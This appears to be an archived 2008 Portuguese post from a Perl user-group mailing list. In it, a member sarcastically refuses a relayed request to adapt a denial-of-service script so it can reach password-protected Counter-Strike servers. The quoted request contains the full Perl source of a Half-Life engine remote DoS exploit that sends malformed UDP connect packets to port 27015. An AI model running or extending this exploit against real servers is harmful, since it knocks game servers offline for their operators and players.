[SP-pm] Ajuda simples

Alexei Znamensky russoz em gmail.com
Domingo Junho 8 13:10:05 PDT 2008


Ow, que legal que ele precisa de ajuda para entrar no CS dos outros hein. Já
que ele é tão espertão, por que ele não descobre sozinho?

2008/6/8 Daniel de Oliveira Mantovani <daniel.oliveira.mantovani em hotmail.com
>:

>  Bom, eu ainda sou newbie to na página 200 do livro "Perl: Como programar",
> gostaria que vocês pudessem ajudar
> Um amigo me pediu pra ajudar ele em um forum só que eu ainda não tenho o
> conhecimento necessário
> vou por aqui o que ele pois la;
> Obrigado
> "
> Tenho um script de CS DOS em Perl e compilei ele para .exe.
> Segue o código abaixo.
> Estou tentando modificá-lo para que se conecte a servers com senha.
>
> A sintaxe do atalho para o exe é a seguinte *Código:*
> C:\Documents and Settings\Administrador\Desktop\dos.exe" ip_do_server:porta
> Alguém poderia me ajudar a modificar este script para conexão c/ senha?
> Lembrando que para conectar-se em um servidor c/ senha através do console é
> *Código:*
> password senha; connect ip:porta
>
>
> Obrigado! [image: :wink:]
>
> *Código:*
> #!/usr/bin/perl
> # Server must not be running steam. /str0ke
>
>
> # Half-Life engine remote DoS exploit
> # bug found by Firestorm
> # tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux
> dedicated server
> use IO::Socket;
> die "usage: ./csdos <host>" unless $ARGV[0];
> $host=$ARGV[0];
>
> if (fork())
> {       econnect($host); }
> else
> { econnect($host); };
> exit;
>
> sub econnect($)
> {
>         my $host=$_[0];
>         my $sock = new
> IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
>         die "Could not create socket: $!\n" unless $sock;
>         $cmd="\xff\xff\xff\xff";
>         syswrite $sock, $cmd."getchallenge";
>
>         sysread $sock,$b,65535;  print $b,"\n";
>         @c=split(/ /,$b);
>
>         $c2=$c[1];
>
>         $q=$cmd."connect 47 $c2
>
> \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
> print '>',$q,"\n";
> syswrite $sock, $q;
> sysread $sock,$b,65535; print $b,"\n";
> sleep 3;
> close $sock;
> } "
>
>
> ------------------------------
> Instale a Barra de Ferramentas com Desktop Search e ganhe EMOTICONS para o
> Messenger! É GRÁTIS! <http://www.msn.com.br/emoticonpack>
>
> _______________________________________________
> SaoPaulo-pm mailing list
> SaoPaulo-pm em pm.org
> http://mail.pm.org/mailman/listinfo/saopaulo-pm
>



-- 
Alexei Znamensky [russoz_gmail_com] [russoz.wordpress.com] [
www.flickr.com/photos/alexeiz]
"Though we live in trying times, we're the ones who have to try"
-------------- Prxima Parte ----------
Um anexo em HTML foi limpo...
URL: http://mail.pm.org/pipermail/saopaulo-pm/attachments/20080608/808adb01/attachment.html 


Mais detalhes sobre a lista de discusso SaoPaulo-pm